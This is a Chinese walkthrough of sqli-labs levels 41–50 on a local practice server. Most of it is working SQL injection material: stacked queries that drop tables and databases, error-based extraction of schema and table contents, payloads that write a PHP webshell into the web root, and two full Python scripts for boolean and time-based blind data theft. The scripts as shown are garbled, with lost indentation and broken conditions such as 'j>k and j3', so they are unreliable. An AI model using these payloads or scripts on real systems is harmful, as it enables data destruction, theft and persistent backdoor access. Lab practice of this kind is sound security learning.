目录
Less41
Less42
Less43
Less44
Less45
Less46
Less47
Less48
Less49
Less50
这关和Less40差不多,先通过布尔盲注来找到闭合,然后就肆无忌惮堆叠注入了。
找闭合:
http://192.168.101.16/sqli-labs-master/Less-41/?id=1 有查询结果
http://192.168.101.16/sqli-labs-master/Less-41/?id=1' 无查询结果
http://192.168.101.16/sqli-labs-master/Less-41/?id=1" 无查询结果
http://192.168.101.16/sqli-labs-master/Less-41/?id=1-- s 有查询结果
不需要闭合(我可太喜欢这关的粉色了)
这关用堆叠注入删掉xiannv数据库的xiang表:
http://192.168.101.16/sqli-labs-master/Less-41/?id=1;drop table xiannv.xiang-- s
数据库上可以看到xiannv数据库已经没有xiang表了
这关代码也和前几关同样是堆叠注入的差不多,不看了
几个链接翻了一圈,只有http://192.168.101.16/sqli-labs-master/Less-42/index.php有输入框
注意下面用hackbar进行sql注入的时候,hackbar的url栏需要填:
http://192.168.101.16/sqli-labs-master/Less-42/login.php
因为数据是提交到login.php的,网页有提交数据时跳转的功能,hackbar可没有
Post data分别输入以下两条payload,测试Username输入框是否有报错注入点:
login_user=admin'&login_password=pass&mysubmit=Login
login_user=admin"&login_password=pass&mysubmit=Login
两次结果是一样的,都是下图这样,没有报错,也没登录成功
Post data分别输入以下两条payload,测试Password输入框是否有报错注入点:
login_user=admin&login_password=pass'&mysubmit=Login
login_user=admin&login_password=pass"&mysubmit=Login
加单引号那条(第一条),有回显下图所示的sql语法错误,从报错信息看,闭合是单引号
上一关把xiannv数据库的xiang表删掉了,这关把xiannv数据库删掉
Post data输入:
login_user=admin&login_password=pass';drop database xiannv#&mysubmit=Login
服务器上navicat关闭连接重新再连一下,发现左侧数据库列表已经没有xiannv数据库了
下面分析一下代码:
这关表单数据提交到login.php
追到login.php看一下,login_user的值用mysqli_real_escape_string()转义特殊字符了,而且这关又不符合宽字节注入的条件,因此username的单引号没法闭合。而login_password的值不经处理代入sql语句,可以闭合单引号,带入后面增加的sql语句。
和上一关差不多,就闭合不同罢了……
重申一遍,用hackbar注入的话,hackbar的地址栏要填:
http://192.168.101.16/sqli-labs-master/Less-43/login.php
也就是表单提交的目标页面
照着上一关的套路找闭合,试到
login_user=admin&login_password=pa'&mysubmit=Login
的时候通过回显的sql语法错误发现闭合是')
接下来就是为所欲为的时候了,由于之前通过堆叠注入创建的测试用的数据库已经在前几关折腾光了,这关我先手工在服务器上创建个测试用的数据库,然后再继续折腾它。
如下图所示,我建了个earth数据库plant表,里面有三行数据,分别是三种花花的名字
然后在hackbar的Post data中输入:
login_user=admin&login_password=pa');delete from earth.plant#&mysubmit=Login
再看服务器上,plant表中的花花都被拔光了
注意:由于堆叠注入两条语句的结果是分开的,在一些代码逻辑下(比如本关),只有第一条语句错误的情况下才会报sql错误,如果第一条语句正确,第二条语句就算有错误也不会在页面回显。
代码没啥好说的,和上关原理是一样的,就是闭合多个括号。另外从代码逻辑可以看出来,本关报不报sql语法错误是根据第一条语句有没有执行成功来判断的,第一条语句执行成功了,第二条就算失败也不会报错。
这关其实也没有太大变化,变化主要是在找闭合这步,这关不再报sql语法错误了,所以需要用布尔盲注的方法去找闭合。
具体来说,就本靶场而言,当Less42中的4条找闭合的payload发送后,页面都不报sql语法错误的话,就说明页面不会回显sql语法错误。
盲注找闭合的方法其实也很简单,像本关这样两个输入框的正确值都不知道的情况下,在普通找闭合的payload中闭合符号之后增加 or 1=1#就行,如果返回的页面显示登录成功,说明闭合成功。
用hackbar向http://192.168.101.16/sqli-labs-master/Less-44/login.php发送如下payload检查username输入框是否有注入点
login_user=admin' or 1=1#&login_password=pass&mysubmit=Login
login_user=admin" or 1=1#&login_password=pass&mysubmit=Login
页面回显都是下图这样登录失败的页面,username输入框没找到注入点
用hackbar向http://192.168.101.16/sqli-labs-master/Less-44/login.php发送如下payload检查password输入框是否有注入点
login_user=admin&login_password=pass" or 1=1#&mysubmit=Login
login_user=admin&login_password=pass' or 1=1#&mysubmit=Login
第一条还是显示登录失败的页面,但第二条显示了登录成功的页面
接下来就是堆叠注入的部分了,我们来堆一下:
还是上关那张表,我又手工写了一条记录进去
然后在hackbar中向http://192.168.101.16/sqli-labs-master/Less-44/login.php发送以下payload,删除表earth.plant中的数据
login_user=admin&login_password=pass';truncate table earth.plant#&mysubmit=Login
再到服务器上看,刷新以下plant表的显示,发现表中的数据已经被删除了
本关代码和Less42的代码大体上是一致的,只是第一条语句执行失败时不再报sql语法错误,所以代码就不截图咯。
这关和上一关的区别是闭合不同,按照上一关找闭合的套路走一遍(当然由于闭合不同,上一关的payload都是无法返回登录成功页面的),
当hackbar向http://192.168.101.16/sqli-labs-master/Less-45/login.php提交payload:
login_user=admin&login_password=pass') or 1=1#&mysubmit=Login
时,返回了登录成功的页面
然后就到了想想这关干嘛的环节。想了一会儿,决定这关给earth.plant加一列。
用hackbar向http://192.168.101.16/sqli-labs-master/Less-45/login.php提交payload:
login_user=admin&login_password=pass');alter table earth.plant add column num int(10)#&mysubmit=Login
到服务器上一看,earth.plant增加了一个名为num的列(字段)
试试sort值分别取1,2,3,就能发现,这关的参数是order by后面的值,也就是说,这关的sort参数值表示根据表的哪一列来排列查询结果
http://192.168.101.16/sqli-labs-master/Less-46/?sort=1
http://192.168.101.16/sqli-labs-master/Less-46/?sort=2
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3
比如下图sort的值为3,表示根据第三列,也就是PASSWORD的大小来排序查询结果
order by后面是不能接union select的,可以试试不会不报sql语法错误,如果会报,就可以用报错注入。
地址栏输入 :http://192.168.101.16/sqli-labs-master/Less-46/?sort=3'
报了sql语法错误,根据报错信息,本关无闭合符号。
下面就可以用报错注入的方法来爆数据了:
#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1)
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1)
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'),1,31),0x7e),1)
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 and updatexml(1,concat(0x7e,substr((select group_concat(concat(id,'^',content)) from pikachu.message),1,31),0x7e),1)
最终结果
写webshell可以用下面的payload:
http://192.168.101.16/sqli-labs-master/Less-46/?sort=3 limit 0,1 into outfile 'C:/phpstudy_pro/WWW/46.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737334365D293B3F3E
lines terminated by xxx是在查询结果每一行后面加上xxx,所以payload中加了limit 0,1限制查询结果仅取第一行。
服务器上被写入的webshell
重要题外话:
我原本以为这关只要sort不存在的列,连接符就可以是or,但事实上并不是这样。
为了方便理解,我直接在服务器上的navicat演示:
当查询是:SELECT * FROM users ORDER BY 4
返回结果报错,不存在第4列
当查询是:
SELECT * FROM users ORDER BY 4 or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)
竟然输出了查询结果。。。并且还是按第一列排序的。。仙女震惊。。。
然后试了一下
SELECT 4 or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)
果不其然,结果是1
根据我的推测,结果是一个布尔值,不为0的数都为真,这里4已经为真,所以就引发了短路,or后面的语句就不执行了。
根据这个推测,可以得到两个信息:
(1)updatexml的报错是sql语句执行过程中的报错,即执行到它才会报错
(2)如果ORDER BY 0就可以用or作为连接符
试一下:
SELECT * FROM users ORDER BY 0 or updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)
OK,计划通~
本关代码倒是没啥,注意一下入参在sql查询中的位置就好
和上一关基本一样,就闭合不同
地址栏输入:http://192.168.101.16/sqli-labs-master/Less-47/?sort=1'
从报错可知闭合是单引号
爆数据的payload如下:
#获取服务器上所有数据库的名称
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),1,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),32,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(schema_name) from information_schema.schemata),63,31),0x7e),1)-- s
#获取pikachu数据库的所有表名称
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,31),0x7e),1)-- s
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),32,31),0x7e),1)-- s
#获取pikachu数据库message表的所有列名称
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_schema='pikachu' and table_name='message'),1,31),0x7e),1)-- s
#获取pikachu数据库message表的id和content列的所有值
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(id,'^',content)) from pikachu.message),1,31),0x7e),1)-- s
最终结果:
写webshell的payload如下:
http://192.168.101.16/sqli-labs-master/Less-47/?sort=1' limit 0,1 into outfile 'C:/phpstudy_pro/WWW/47.php' lines terminated by 0x3C3F7068702061737365727428245F504F53545B6C65737334375D293B3F3E -- s
服务器上写入的webshell:
本关代码和上一关就sql语句中参数的闭合符不同,不多说了
(本关找通关方法的分析部分比较多,觉得烦的话可以直接拉到最下面)
地址栏输入http://192.168.101.16/sqli-labs-master/Less-48/?sort=1
返回正确的查询结果
地址栏输入:
http://192.168.101.16/sqli-labs-master/Less-48/?sort=1'
http://192.168.101.16/sqli-labs-master/Less-48/?sort=1"
没有查询结果返回
从以上操作结果可知:
(1)本关是数字型,无闭合
(2)本关不能报错注入,但可以布尔盲注
下面我又得改我的python脚本了……本来打算改成跟原来的差不多的and/or xxx形式的payload,发现不行啊……到服务器上用navicat试了一下,结果发现下面几条语句都有相同的查询结果
SELECT * FROM users ORDER BY 3 and 0
SELECT * FROM users ORDER BY 3 and 1
SELECT * FROM users ORDER BY 3 or 0
SELECT * FROM users ORDER BY 3 or 1
查询结果都是
看来此路不通啊
突然想起来之前webgoat里面好像遇到过这种情况 WebGoat (A1) SQL Injection (mitigation)_箭雨镜屋-CSDN博客
于是我又在navicat上试了一下,下面两条查询语句返回的结果都是和上图一样的,仙女无语
SELECT * FROM users ORDER BY (CASE WHEN (1) THEN 1 ELSE 2 END)
SELECT * FROM users ORDER BY (CASE WHEN (0) THEN 1 ELSE 2 END)
不过仙女又想,THEN和ELSE后面换成列名称又如何呢?果然
SELECT * FROM users ORDER BY (CASE WHEN (1) THEN id ELSE username END)
的查询结果是按id排序的
SELECT * FROM users ORDER BY (CASE WHEN (0) THEN id ELSE username END)
查询结果是按username排序的
也就是说,我要用这个方法的话,我还得先知道列名称……仙女再次无语(后来想想……网页回显了列名了,其实这种方法是可以的,失策失策)
百度了一下,发现注入点在order by的时候还能用rand()函数来盲注,还是先在navicat上试试
确实rand(0)和rand(1)的查询结果不一样,此路通
为了脚本识别方便,结尾再加个limit 0,1只保留第一行结果。
本关通关用的思路大概是让python脚本识别SELECT * FROM users ORDER BY rand(1) limit 0,1与SELECT * FROM users ORDER BY rand(0) limit 0,1的查询结果的不同。
来看看最终的成果吧
#!/usr/bin/python3
# coding=utf-8
"""
functions for boolean-based sql injection(GET)
:copyright: Copyright (c) 2021, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""
import requests
url = "http://192.168.101.16/sqli-labs-master/Less-48/" #有可利用漏洞的url,根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",} #http request报文头部,根据实际情况填写
keylist = [chr(i) for i in range(33, 127)] #包括数字、大小写字母、可见特殊字符
flag = 'admin3' #用于判断附加sql语句为真的字符,根据网页回显填写
def Database48():
n = 100 #预测当前数据库名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
db = str()
while True:
if j>k and j3:
payload1 = "rand(length((select group_concat(schema_name) from information_schema.schemata))>"+str(j)+") limit 0,1-- s" #所有payload根据实际情况填写
param = {
"sort":payload1,
}
response = requests.get(url, params = param, headers = headers) #GET方法发送含payload的request
#print(response.request.headers)
#print(response.text)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload2 = "rand(length((select group_concat(schema_name) from information_schema.schemata))="+str(i)+") limit 0,1-- s"
param = {
"sort":payload2,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all databases contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload3 = "rand(substr((select group_concat(schema_name) from information_schema.schemata),"+str(i)+",1)='"+c+"') limit 0,1-- s"
param = {
"sort":payload3,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
db = db+c
break
print("the name of all databases is "+str(db))
def Tables48(database):
n = 100 #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
tname = str()
while True:
if j>k and j3:
payload4 = "rand(length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'))>"+str(j)+") limit 0,1-- s"
param = {
"sort":payload4,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload5 = "rand(length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'))="+str(i)+") limit 0,1-- s"
param = {
"sort":payload5,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all tables contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload6 = "rand(substr((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'),"+str(i)+",1)='"+c+"') limit 0,1-- s"
param = {
"sort":payload6,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
tname = tname+c
break
print("the name of all tables is "+str(tname))
def Columns48(database,table): #table参数是需要爆破的数据表名称,记得加单引号
n = 200 #预测某个表所有列名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
cname = str()
while True:
if j>k and j3:
payload7 = "rand(length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'))>"+str(j)+") limit 0,1-- s"
param = {
"sort":payload7,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload8 = "rand(length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'))="+str(i)+") limit 0,1-- s"
param = {
"sort":payload8,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the name of all columns in current table contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload9 = "rand(substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'),"+str(i)+",1)='"+c+"') limit 0,1-- s"
param = {
"sort":payload9,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
cname = cname+c
break
print("the name of all columns in current table is "+str(cname))
def Content48(database,table,col1,col2): #table参数是需要爆破的数据表名称,col1和col2是需要爆破内容的列,记得都要加单引号
n = 200 #预测期望获取的数据的最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
content = str()
while True:
if j>k and j3:
payload10 = "rand(length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"))>"+str(j)+") limit 0,1-- s"
param = {
"sort":payload10,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
n=n
k=j
else:
k=k
n=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload11 = "rand(length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"))="+str(i)+") limit 0,1-- s"
param = {
"sort":payload11,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
length = i
break
break
else:
break
print("the content contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload12 = "rand(substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"),"+str(i)+",1)='"+c+"') limit 0,1-- s"
param = {
"sort":payload12,
}
response = requests.get(url, params = param, headers = headers)
if response.text.find(flag) != -1:
content = content+c
break
print("the content is "+str(content))
测试结果
源代码就不分析了,无非就是去掉了print_r(mysql_error());的LESS46
首先还是判断一下是否有闭合。分别输入下面的payload:
http://192.168.101.16/sqli-labs-master/Less-49/?sort=1"
http://192.168.101.16/sqli-labs-master/Less-49/?sort=1'
发现第一条payload(双引号)返回正确查询结果
第二条payload(单引号)不返回查询结果
由此可见,闭合包含单引号。再用以下payload验证以下,闭合是否是单引号
http://192.168.101.16/sqli-labs-master/Less-49/?sort=1'-- s
返回正确查询结果,说明闭合是单引号。
想看看能不能布尔盲注,于是尝试了下面两组payload
http://192.168.101.16/sqli-labs-master/Less-49/?sort=1' and rand(1)-- s
http://192.168.101.16/sqli-labs-master/Less-49/?sort=1' and rand(0)-- s
http://192.168.101.16/sqli-labs-master/Less-49/?sort=rand(1)' -- s
http://192.168.101.16/sqli-labs-master/Less-49/?sort=rand(0)' -- s
第一组两个payload都返回下图结果,没有区别(我也没看明白这到底是按照什么排序的……)
第二组两个payload都返回下图结果,没有区别(其实实际情况下应该不会order by后面接引号,因为要么是列数,要么是列名,都不需要引号。并且其实引号内是任意字符结果都是一样的。)
看来这关是没法布尔盲注了……只能试试痛苦的时间盲注
输入下面两条payload,发现第一条payload回显无时延,第二条有时延。这里sleep(0.1)是因为sql查询返回值行数太多了,每一行都会sleep,因此值设置小一点,总量还是有1.5s左右的
http://192.168.101.16/sqli-labs-master/Less-49/?sort=1' and if(0,sleep(0.1),1) -- s
http://192.168.101.16/sqli-labs-master/Less-49/?sort=1' and if(1,sleep(0.1),1) -- s
下面我就把我之前写的时间盲注的脚本改改吧……痛苦……
# !/usr/bin/python3
# coding=utf-8
"""
functions for time-based sql injection(blind)
:copyright: Copyright (c) 2019, Fancy Xiang. All rights reserved.
:license: GNU General Public License v3.0, see LICENSE for more details.
"""
import requests
url = "http://192.168.101.16/sqli-labs-master/Less-49/" #有可利用漏洞的url,根据实际情况填写
headers={ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36",} #http request报文头部,根据实际情况填写
keylist = [chr(i) for i in range(33, 127)] #包括数字、大小写字母、可见特殊字符
def Database49():
n = 100 #预测当前数据库名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
db = str()
while True:
if j>k and j3:
payload1 = "1' and if(length((select group_concat(schema_name) from information_schema.schemata))>"+str(j)+",sleep(0.1),1)-- ss" #所有payload根据实际情况填写
param = {
"sort":payload1,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1) #本脚本根据GET型注入编写,遇到POST型可修改改行方法和参数,其他所有函数中同样
k=k
n=j
except:
n=n
k=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload2 = "1' and if(length((select group_concat(schema_name) from information_schema.schemata))="+str(i)+",sleep(0.1),1)-- ss"
param = {
"sort":payload2,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1)
except:
length = i
break
break
else:
break
print("the name of all databases contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload3 = "1' and if(substr((select group_concat(schema_name) from information_schema.schemata),"+str(i)+",1)='"+c+"',sleep(0.1),1)-- ss"
param = {
"sort":payload3,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1)
except:
db = db+c
break
print("the name of all databases is "+str(db))
def Tables49(database):
n = 100 #预测当前数据库中所有表名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
tname = str()
while True:
if j>k and j3:
payload4 = "1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'))>"+str(j)+",sleep(0.1),1)-- ss"
param = {
"sort":payload4,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1) #本脚本根据GET型注入编写,遇到POST型可修改改行方法和参数,其他所有函数中同样
k=k
n=j
except:
n=n
k=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload5 = "1' and if(length((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'))="+str(i)+",sleep(0.1),1)-- ss"
param = {
"sort":payload5,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1)
except:
length = i
break
break
else:
break
print("the name of all tables contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload6 = "1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema = '"+database+"'),"+str(i)+",1)='"+c+"',sleep(0.1),1)-- ss"
param = {
"sort":payload6,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1)
except:
tname = tname+c
break
print("the name of all tables is "+str(tname))
def Columns49(database,table):
n = 200 #预测某个表所有列名称最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
cname = str()
while True:
if j>k and j3:
payload7 = "1' and if(length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'))>"+str(j)+",sleep(0.1),1)-- ss"
param = {
"sort":payload7,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1) #本脚本根据GET型注入编写,遇到POST型可修改改行方法和参数,其他所有函数中同样
k=k
n=j
except:
n=n
k=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload8 = "1' and if(length((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'))="+str(i)+",sleep(0.1),1)-- ss"
param = {
"sort":payload8,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1)
except:
length = i
break
break
else:
break
print("the name of all columns in current table contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload9 = "1' and if(substr((select group_concat(column_name) from information_schema.columns where table_name = '"+table+"' and table_schema = '"+database+"'),"+str(i)+",1)='"+c+"',sleep(0.1),1)-- ss"
param = {
"sort":payload9,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1)
except:
cname = cname+c
break
print("the name of all columns in current table is "+str(cname))
def Content49(database,table,col1,col2):
n = 200 #预测期望获取的数据的最大可能的长度,根据实际情况填写
k = 0
j = n//2
length = 0
content = str()
while True:
if j>k and j3:
payload10 = "1' and if(length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"))>"+str(j)+",sleep(0.1),1)-- ss"
param = {
"sort":payload10,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1) #本脚本根据GET型注入编写,遇到POST型可修改改行方法和参数,其他所有函数中同样
k=k
n=j
except:
n=n
k=j
j=(n-k)//2
elif j-k==3 or j-k<3:
for i in range(k-1,n+2):
payload11 = "1' and if(length((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"))="+str(i)+",sleep(0.1),1)-- ss"
param = {
"sort":payload11,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1)
except:
length = i
break
break
else:
break
print("the content contains "+str(length)+" characters")
for i in range(1,length+1):
for c in keylist:
payload12 = "1' and if(substr((select group_concat(concat("+col1+",'^',"+col2+")) from "+database+"."+table+"),"+str(i)+",1)='"+c+"',sleep(0.1),1)-- ss"
param = {
"sort":payload12,
}
try:
response = requests.get(url, params = param, headers = headers,timeout=1)
except:
content = content+c
break
print("the content is "+str(content))
测试结果
这关源代码也不分析了,和上一关差不多,就是sql查询语句有个画蛇添足的单引号闭合。
浏览器地址栏输入下面两个url都会报sql语法错误,可见本关不需要闭合
http://192.168.101.16/sqli-labs-master/Less-50/?sort=1"
http://192.168.101.16/sqli-labs-master/Less-50/?sort=1'
这关说是堆叠注入,那就用堆叠注入写个webshell好了,payload如下:
http://192.168.101.16/sqli-labs-master/Less-50/?sort=1;select '' into outfile 'C:/phpstudy_pro/WWW/less50.php'
服务器上写入的webshell
本关代码就不展示了,是order by注入关卡(比如Less46)和堆叠注入关卡的合体,和堆叠注入关卡一样,只能显示第一条sql语句的结果,也只有第一条语句有问题的时候会报语法错误;因此爆数据的操作还是得靠报错注入。